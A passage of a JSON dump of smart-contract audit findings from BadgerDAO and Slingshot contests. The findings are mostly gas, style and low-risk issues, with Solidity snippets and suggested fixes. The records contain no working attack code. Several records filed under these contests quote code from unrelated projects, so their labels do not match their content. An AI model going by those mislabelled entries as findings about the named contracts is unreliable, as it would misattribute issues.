https://github.com/code-423n4/2021-10-badgerdao/blob/9c0ea7b3b02675211446f6c81750c5f3c0a86370/contracts/WrappedIbbtc.sol#L23-L36 ```solidity modifier onlyPendingGovernance() { require(msg.sender == pendingGovernance, \"onlyPendingGovernance\"); _; } modifier onlyGovernance() { require(msg.sender == governance, \"onlyGovernance\"); _; } modifier onlyOracle() { require(msg.sender == address(oracle), \"onlyOracle\"); _; } ``` https://github.com/code-423n4/2021-10-badgerdao/blob/9c0ea7b3b02675211446f6c81750c5f3c0a86370/contracts/WrappedIbbtcEth.sol#L123-L131 ```solidity function transfer(address recipient, uint256 amount) public virtual override returns (bool) { /// The _balances mapping represents the underlying ibBTC shares (\"non-rebased balances\") /// Some naming confusion emerges due to maintaining original ERC20 var names uint256 amountInShares = balanceToShares(amount); _transfer(_msgSender(), recipient, amountInShares); return true; } ``` "}, {"title": "Missing error messages in require statements", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/52", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-badgerdao-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/vesting/contracts/AirdropDistribution.sol#L525-L525 ```solidity=525 require(airdrop[msg.sender].amount != 0); ``` https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/vesting/contracts/AirdropDistribution.sol#L561-L561 ```solidity=561 require(airdrop[msg.sender].amount >= claimable); ``` https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/vesting/contracts/InvestorDistribution.sol#L100-L100 ```solidity=100 require(investors[_investor].amount != 0); ``` https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/vesting/contracts/InvestorDistribution.sol#L126-L126 ```solidity=126 require(investors[msg.sender].amount - claimable != 0); ``` "}, {"title": "Cache external call result in the stack can save gas", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/51", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle WatchPug # Vulnerability details For the result of an external call being written into a storage variable, cache and read from the stack rather than read from the storage variable can save gas. Instances include: `IERC20Like(collateralAsset).decimals()` in `DebtLocker.sol#getExpectedAmount()` can be cached to avoid an extra external call. https://github.com/maple-labs/debt-locker/blob/81f55907db7b23d27e839b9f9f73282184ed4744/contracts/DebtLocker.sol#L237-L253 ```solidity=231 function getExpectedAmount(uint256 swapAmount_) external view override whenProtocolNotPaused returns (uint256 returnAmount_) { address collateralAsset = IMapleLoanLike(_loan).collateralAsset(); address fundsAsset = IMapleLoanLike(_loan).fundsAsset(); uint256 oracleAmount = swapAmount_ * IMapleGlobalsLike(_getGlobals()).getLatestPrice(collateralAsset) // Convert from `fromAsset` value. * 10 ** IERC20Like(fundsAsset).decimals() // Convert to `toAsset` decimal precision. * (10_000 - _allowedSlippage) // Multiply by allowed slippage basis points / IMapleGlobalsLike(_getGlobals()).getLatestPrice(fundsAsset) // Convert to `toAsset` value. / 10 ** IERC20Like(collateralAsset).decimals() // Convert from `fromAsset` decimal precision. / 10_000; // Divide basis points for slippage uint256 minRatioAmount = swapAmount_ * _minRatio / 10 ** IERC20Like(collateralAsset).decimals(); return oracleAmount > minRatioAmount ? oracleAmount : minRatioAmount; } ``` ### Recommendation Change to: ```solidity=231 function getExpectedAmount(uint256 swapAmount_) external view override whenProtocolNotPaused returns (uint256 returnAmount_) { address collateralAsset = IMapleLoanLike(_loan).collateralAsset(); address fundsAsset = IMapleLoanLike(_loan).fundsAsset(); uint256 collateralAssetDecimals = IERC20Like(collateralAsset).decimals(); uint256 oracleAmount = swapAmount_ * IMapleGlobalsLike(_getGlobals()).getLatestPrice(collateralAsset) // Convert from `fromAsset` value. * 10 ** IERC20Like(fundsAsset).decimals() // Convert to `toAsset` decimal precision. * (10_000 - _allowedSlippage) // Multiply by allowed slippage basis points / IMapleGlobalsLike(_getGlobals()).getLatestPrice(fundsAsset) // Convert to `toAsset` value. / 10 ** collateralAssetDecimals // Convert from `fromAsset` decimal precision. / 10_000; // Divide basis points for slippage uint256 minRatioAmount = swapAmount_ * _minRatio / 10 ** collateralAssetDecimals; return oracleAmount > minRatioAmount ? oracleAmount : minRatioAmount; } ``` "}, {"title": "Outdated versions of OpenZeppelin library", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/50", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-badgerdao-findings", "body": "Outdated versions of OpenZeppelin library"}, {"title": "Outdated compiler version", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/49", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-badgerdao-findings", "body": "Outdated compiler version"}, {"title": "Avoid unnecessary storage read can save gas", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/48", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-badgerdao-findings", "body": "Avoid unnecessary storage read can save gas"}, {"title": "Events are emitting storage vars instead of user/system values", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/46", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-badgerdao-findings", "body": "Events are emitting storage vars instead of user/system values"}, {"title": "Gas: Event parameters read from storage", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/45", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-badgerdao-findings", "body": "Gas: Event parameters read from storage"}, {"title": "Approved spender can spend too many tokens", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/43", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle cmichel # Vulnerability details The `approve` function has not been overridden and therefore uses the internal _shares_, whereas `transfer(From)` uses the rebalanced amount. ## Impact The approved spender may spend more tokens than desired. In fact, the approved amount that can be transferred keeps growing with `pricePerShare`. Many contracts also use the same amount for the `approve` call as for the amount they want to have transferred in a subsequent `transferFrom` call, and in this case, they approve an amount that is too large (as the approved `shares` amount yields a higher rebalanced amount). ## Recommended Mitigation Steps The `_allowances` field should track the rebalanced amounts such that the approval value does not grow. (This does not actually require overriding the `approve` function.) In `transferFrom`, the approvals should then be subtracted by the _transferred_ `amount`, not the `amountInShares`: ```solidity // _allowances are in rebalanced amounts such that they don't grow // need to subtract the transferred amount _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, \"ERC20: transfer amount exceeds allowance\")); ``` "}, {"title": "Pending governance is not cleared", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/42", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle cmichel # Vulnerability details The `acceptPendingGovernance` function does not reset `pendingGovernance` to zero. ## Impact The pending governor can repeatedly accept the governance, emitting an `AcceptPendingGovernance` event each time, bloating listeners for this event with unnecessary data. ## Recommended Mitigation Steps Validate the parameters. "}, {"title": "Missing parameter validation", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/41", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "Missing parameter validation"}, {"title": "`initialize` functions can be frontrun", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/40", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-10-badgerdao-findings", "body": "`initialize` functions can be frontrun"}, {"title": "Add zero address validation in the setPendingGovernance function", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/35", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle defsec # Vulnerability details ## Impact Since the _pendingGovernance parameter in the setPendingGovernance are used to add governance. In the state variable , proper check up should be done , other wise error in these state variable can lead to redeployment of contract. ## Proof of Concept 1. Navigate to the following contract functions. \"https://github.com/code-423n4/2021-10-badgerdao/blob/9d4734becebd729299f154c0cfa1d3a7f06cccfb/contracts/WrappedIbbtcEth.sol#L50\" \"https://github.com/code-423n4/2021-10-badgerdao/blob/9d4734becebd729299f154c0cfa1d3a7f06cccfb/contracts/WrappedIbbtc.sol#L49\" 2. Adding zero address into the pending governance leads to failure of governor only functions. ## Tools Used Code Review ## Recommended Mitigation Steps Add proper zero address validation. "}, {"title": "Upgrade pragma to at least 0.8.4", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/34", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-badgerdao-findings", "body": "Upgrade pragma to at least 0.8.4"}, {"title": "`WrappedIbbtc.sol` implements, but does not inherit, the `ICoreOracle` interface", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/28", "labels": ["bug", "0 (Non-critical)"], "target": "2021-10-badgerdao-findings", "body": "`WrappedIbbtc.sol` implements, but does not inherit, the `ICoreOracle` interface"}, {"title": "Remove unused functions in dependencys", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/27", "labels": ["bug", "0 (Non-critical)"], "target": "2021-10-badgerdao-findings", "body": "Remove unused functions in dependencys"}, {"title": "Lack of `address(0)` check", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/26", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle pmerkleplant # Vulnerability details The arguments of type `address` in the following functions miss a zero-check. - `initialize()` - `setPendingGovernance()` - `setOracle()` In the case of `setPendingGovernance()`, where a zero-address could be legitim, it should be stated as such in the docs, or forbidden otherwise. ## Tools Used slither "}, {"title": "hard to clear balance", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/24", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact The contract does not allow users to transfer by share. It's hard for users to clear out all the shares. There will be users using this token with Metamask. There's likely the `pricePerShare` would increase after the user sends transactions. I consider this is a medium-risk issue. ## Proof of Concept [WrappedIbbtc.sol#L110-L118](https://github.com/code-423n4/2021-10-badgerdao/blob/main/contracts/WrappedIbbtc.sol#L110-L118) ## Tools Used ## Recommended Mitigation Steps I consider a new `transferShares` beside the original `transfer()` would build a better UX. I consider sushi's bento box would be a good ref [BentoBox.sol](https://github.com/sushiswap/bentobox/blob/master/contracts/BentoBox.sol) "}, {"title": "No Initial Ownership Event (WrappedIbbtcEth.sol, WrappedIbbtcEth.sol)", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/22", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle ye0lde # Vulnerability details For \"core\", which can be changed by the governance process, an event is emitted when it is changed from 0 to a hopefully valid value in the initialize function. In the same initialize function the _governance address itself is not verified nor is there an event emitted showing that the governance address has changed from 0 to a different address. ## Proof of Concept https://github.com/code-423n4/2021-10-badgerdao/blob/9c0ea7b3b02675211446f6c81750c5f3c0a86370/contracts/WrappedIbbtcEth.sol#L37-L46 Similar but with Oracle instead of Core. https://github.com/code-423n4/2021-10-badgerdao/blob/9c0ea7b3b02675211446f6c81750c5f3c0a86370/contracts/WrappedIbbtc.sol#L38-L45 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps Emit an event reporting governance change or if it is not important to report these initialization events remove the emit for the core initialization. "}, {"title": "Use existing memory value of state variable (setPendingGovernance)", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/21", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-badgerdao-findings", "body": "Use existing memory value of state variable (setPendingGovernance)"}, {"title": "Unable to transfer WrappedIbbtc if Oracle go down", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/20", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle gzeon # Vulnerability details ## Impact In WrappedIbbtc, user will not be able to transfer if oracle.pricePerShare() (L124) revert. This is because balanceToShares() is called in both transfer and transferFrom, which included a call to pricePerShare(). If this is the expected behavior, note that WrappedIbbtcEth is behaving the opposite as it use the cached value in a local variable pricePerShare which is only updated upon call to updatePricePerShare(). ## Recommended Mitigation Steps Depending on the specification, one of them need to be changed. "}, {"title": "Gas Optimization: Retrieve internal variables directly ", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/19", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-badgerdao-findings", "body": "Gas Optimization: Retrieve internal variables directly "}, {"title": "use safeTransfer instead of transfer of ibbtc", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/11", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle pants # Vulnerability details ibbtc is ERC20Upgradeable. Not all ERC20 contracts supports \"blind\" transfer method - i.e transfer that you can ignore the return value. You should either check the return value or use openzeppilin safeTransfer "}, {"title": "missing zero-address check ", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/5", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-badgerdao-findings", "body": "# Handle jah # Vulnerability details ## Impact The parameter that are used in initialize() function to initialize the state variable,these state variable are used in other function to perform operation. since it lacks zero address validation, it will be problematic if there is error in these state variable. some of the function will loss their functionality which can cause the redeployment of contract ## Proof of Concept https://github.com/code-423n4/2021-10-badgerdao/blob/9c0ea7b3b02675211446f6c81750c5f3c0a86370/contracts/WrappedIbbtcEth.sol#L37 ## Tools Used Manual Analysis ## Recommended Mitigation Steps add require condition which check zero address validation "}, {"title": "Gas Saving by changing the visibility of initialize function from public to external", "html_url": "https://github.com/code-423n4/2021-10-badgerdao-findings/issues/3", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-badgerdao-findings", "body": "Gas Saving by changing the visibility of initialize function from public to external"}, {"title": "receive function", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/94", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-slingshot-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Slingshot contract does not need a 'receive' function as it is not supposed to receive ETH directly. Executioner has this function too and it needs to receive ETH from the WETH contract. Because it expects only WETH to send the native asset directly, it should check that the msg.sender is actually WETH contract. ## Recommended Mitigation Steps receive() external payable { require(msg.sender == wrappedNativeToken, \"...\"); } "}, {"title": "Small gas improvement", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/90", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "Small gas improvement"}, {"title": "ConcatStrings prependNumber is not used", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/88", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-slingshot-findings", "body": "ConcatStrings prependNumber is not used"}, {"title": "Confusing comment in CurveModule", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/85", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-10-slingshot-findings", "body": "Confusing comment in CurveModule"}, {"title": "Confusing comment on IUniswapModule", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/84", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-10-slingshot-findings", "body": "Confusing comment on IUniswapModule"}, {"title": "Gas: Use a constant instead of `block.timestamp` for the deadline", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/83", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "Gas: Use a constant instead of `block.timestamp` for the deadline"}, {"title": "Left-over tokens can be stolen", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/82", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "Left-over tokens can be stolen"}, {"title": "`LibERC20Token.approveIfBelow` should approve(0) first", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/81", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "`LibERC20Token.approveIfBelow` should approve(0) first"}, {"title": "`Slingshot._sendFunds` function not used and wrong", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/80", "labels": ["bug", "0 (Non-critical)"], "target": "2021-10-slingshot-findings", "body": "`Slingshot._sendFunds` function not used and wrong"}, {"title": "Trades where toToken is feeOnTransferToken might send user less tokens than finalAmountMin", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/77", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2021-10-slingshot-findings", "body": "Trades where toToken is feeOnTransferToken might send user less tokens than finalAmountMin"}, {"title": "Combine external calls into one can save gas", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/73", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-slingshot-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-10-slingshot/blob/9c0432cca2e43731d5a0ae9c151dacf7835b8719/contracts/Slingshot.sol#L76-L79 ```solidity=76 for(uint256 i = 0; i < trades.length; i++) { // Checks to make sure that module exists and is correct require(moduleRegistry.isModule(trades[i].moduleAddress), \"Slingshot: not a module\"); } ``` An external call to `moduleRegistry.isModule()` will be called each time in this for loop. They can be combined into one external call by creating an `moduleRegistry.isModuleBatch(address[] memory _moduleAddresses)` function and call that function instead. ### Recommendation Change to: ```solidity address[] memory moduleAddresses = new address[](trades.length); for(uint256 i = 0; i < trades.length; i++) { moduleAddresses[i] = trades[i].moduleAddress; } require(moduleRegistry.isModuleBatch(moduleAddresses), \"Slingshot: not a module\"); ``` "}, {"title": "Typos", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/71", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-10-slingshot-findings", "body": "Typos"}, {"title": "Outdated compiler version", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/70", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "Outdated compiler version"}, {"title": "Avoid unnecessary storage read can save gas", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/69", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "Avoid unnecessary storage read can save gas"}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/68", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-slingshot-findings", "body": "Adding unchecked directive can save gas"}, {"title": "Code Style: consistency", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/67", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-10-slingshot-findings", "body": "Code Style: consistency"}, {"title": "`SlingshotI` is unnecessary", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/66", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "`SlingshotI` is unnecessary"}, {"title": "Code Style: Abstract contracts should not be prefixed by `I`", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/65", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "Code Style: Abstract contracts should not be prefixed by `I`"}, {"title": "Cache array length in for loops can save gas", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/63", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-slingshot-findings", "body": "Cache array length in for loops can save gas"}, {"title": "Remove redundant access control checks can save gas", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/62", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2021-10-slingshot-findings", "body": "Remove redundant access control checks can save gas"}, {"title": "`IUniswapModule.sol` use an immutable variable `router` can save gas and simplify implementation", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/61", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "`IUniswapModule.sol` use an immutable variable `router` can save gas and simplify implementation"}, {"title": "`initialBalance` for native token is wrong", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/59", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2021-10-slingshot-findings", "body": "`initialBalance` for native token is wrong"}, {"title": "Avoid unnecessary code execution can save gas", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/57", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "# Handle Jujic # Vulnerability details ## Impact ``` function rate() external view returns (uint256) { if (totalSupply() > 0) { return (totalLiquidity() * MAGIC_SCALE_1E6) / totalSupply(); } else { return 0; } } ``` ## Proof of Concept https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/IndexTemplate.sol#L512-L518 ## Tools Used Remix ## Recommended Mitigation Steps Change to: ``` function rate() external view returns (uint256) { if (totalSupply() != 0) { return (totalLiquidity() * MAGIC_SCALE_1E6) / totalSupply(); } ``` "}, {"title": "`CurveModule.sol#swap()` Unused parameter", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/56", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "`CurveModule.sol#swap()` Unused parameter"}, {"title": "Redundant code", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/55", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "# Handle wuwe1 # Vulnerability details ## Proof of Concept redundant code https://github.com/code-423n4/2022-01-elasticswap/blob/main/elasticswap/src/contracts/Exchange.sol#L266-L269 https://github.com/code-423n4/2022-01-elasticswap/blob/main/elasticswap/src/libraries/MathLib.sol#L663-L666 ## Tools Used remove Exchange.sol#L266-L269 "}, {"title": "Function documentation incorrect for `Slingshot::_transferFromOrWrap`", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/53", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-10-slingshot-findings", "body": "Function documentation incorrect for `Slingshot::_transferFromOrWrap`"}, {"title": "`Adminable::setupAdmin` uses deprecated function", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/50", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-10-slingshot-findings", "body": "# Handle pmerkleplant # Vulnerability details The `setupAdmin` function in `Adminable.sol` uses the `_setupRole` function from OpenZeppelin's `AccessControl.sol`. This function is marked as deprecated in favor of `AccessControl::_grantRole`. See [line 21 in Adminable.sol](https://github.com/code-423n4/2021-10-slingshot/blob/main/contracts/Adminable.sol#L21) and [line 183 in OpenZeppelin's AccessControl.sol](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/AccessControl.sol#L183) "}, {"title": "Error messages in `ModuleRegistry.sol` inconsistent to the rest of the project", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/49", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "Error messages in `ModuleRegistry.sol` inconsistent to the rest of the project"}, {"title": "Inconsistent naming for functions in `ConcatStrings.sol`", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/48", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "Inconsistent naming for functions in `ConcatStrings.sol`"}, {"title": "Function documentation incorrect for `ConcatStrings::appendUint`", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/47", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-10-slingshot-findings", "body": "# Handle pmerkleplant # Vulnerability details The documentation for the function `appendUint` in `ConcatStrings.sol` is incorrect. It states: \"Concat two strings\". However, the function concats a string and a uint256. See: [line 19 in ConcatStrings.sol](https://github.com/code-423n4/2021-10-slingshot/blob/main/contracts/lib/ConcatStrings.sol#L19) "}, {"title": "Slingshot: Unnecessary receive()", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/46", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-10-slingshot-findings", "body": "Slingshot: Unnecessary receive()"}, {"title": "Slingshot: Index fromToken and toToken for Trade event", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/45", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "Slingshot: Index fromToken and toToken for Trade event"}, {"title": "Slingshot: Incorrect comment for rescueTokensFromExecutioner()", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/43", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "Slingshot: Incorrect comment for rescueTokensFromExecutioner()"}, {"title": "ModuleRegistry: Rename modulesIndex \u2192 isModule", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/41", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "ModuleRegistry: Rename modulesIndex \u2192 isModule"}, {"title": "Executioner: Restrict funds receivable to be only from wrapped native token", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/40", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-slingshot-findings", "body": "# Handle hickuphh3 # Vulnerability details ## Impact Native fund transfers into the executioner contract are only expected from the wrapped token contract. Hence, it would be good to restrict incoming fund transfers to prevent accidental native fund transfers from other sources. ## Recommended Mitigation Steps Modify the `receive()` function to only accept transfers from the wrapped token contract. ```jsx receive() external payable { require(msg.sender == address(wrappedNativeToken), 'only wrapped native token'); } ``` "}, {"title": "CurveModule: Redundant jToken", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/39", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "CurveModule: Redundant jToken"}, {"title": "BalancerV2ModuleMatic: Ensure tokenOut is not native token", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/38", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-slingshot-findings", "body": "# Handle hickuphh3 # Vulnerability details ## Impact The executioner is designed to handle only ERC20-ERC20 token trades by modules. The balancer V2 vault is able to [automatically unwrap the wrapped native token](https://dev.balancer.fi/helpers/using-native-eth#overview). Hence, it is recommended to ensure that the `tokenOut` parameter passed into the `swap()` function is not the sentinel value. The [sentinel value used is the null address.](https://dev.balancer.fi/helpers/using-native-eth#sentinel-value) ## Recommended Mitigation Steps Consider adding the following check in the function. `require(tokenOut != address(0), 'native token swap not supported');` "}, {"title": "String concatenation in revert messages results in increased gas costs + code complexity", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/37", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-10-slingshot-findings", "body": "# Handle TomFrench # Vulnerability details ## Impact Switching to custom errors results in reduced deployment/runtime gas cost + ease of decoding revert message ## Proof of Concept https://github.com/code-423n4/2021-10-slingshot/blob/9c0432cca2e43731d5a0ae9c151dacf7835b8719/contracts/Executioner.sol#L38 Should any of the calls to individual modules fail an error message of the form \" Executioner: swap failed: \" where ERROR is the underlying error message and STEP displays which trade failed This requires the inclusion of the `ConcatStrings` library and in order to isolate ERROR, knowledge of the string format is necessary. If instead [custom errors](https://blog.soliditylang.org/2021/04/21/custom-errors/) were used, `ConcatStrings` could be removed which results in reduced deployment + runtime costs along with simplifying the codebase. (see [\"Errors in Depth\"](https://blog.soliditylang.org/2021/04/21/custom-errors/)) ``` // old require(success, appendString(string(data), appendUint(string(\"Executioner: swap failed: \"), i))); // new error SwapFailed(uint256 step, bytes errorMessage); // at top of file if (!success) revert SwapFailed(i, data); ``` If this is done the Executioner's error messages can then be decoded with a standard abi decoder giving greater compatibility with other tools (helpful should you want to filter for certain error strings at some point) without them having to understand the format of your error messages. Example of a decoded error message with arguments https://rinkeby.etherscan.io/tx/0x37004044a0a55cce13e2f1dd1813a5f21531cd875fed87ec23ae193e0bb96876 ## Recommended Mitigation Steps Replace `ConcatStrings` library with custom errors. "}, {"title": "`> 0` can be replaced with ` != 0` for gas optimisation", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/35", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "`> 0` can be replaced with ` != 0` for gas optimisation"}, {"title": "Long Revert Strings", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/32", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2021-10-slingshot-findings", "body": "Long Revert Strings"}, {"title": "Unused Named Returns (ConcatStrings.sol)", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/31", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-slingshot-findings", "body": "Unused Named Returns (ConcatStrings.sol)"}, {"title": "Inaccurate comment (rescueTokensFromExecutioner)", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/30", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-10-slingshot-findings", "body": "Inaccurate comment (rescueTokensFromExecutioner)"}, {"title": "Redundant Code Statement", "html_url": "https://github.com/code-423n4/2021-10-slingshot-findings/issues/27", "labels": ["bug", "G (Gas 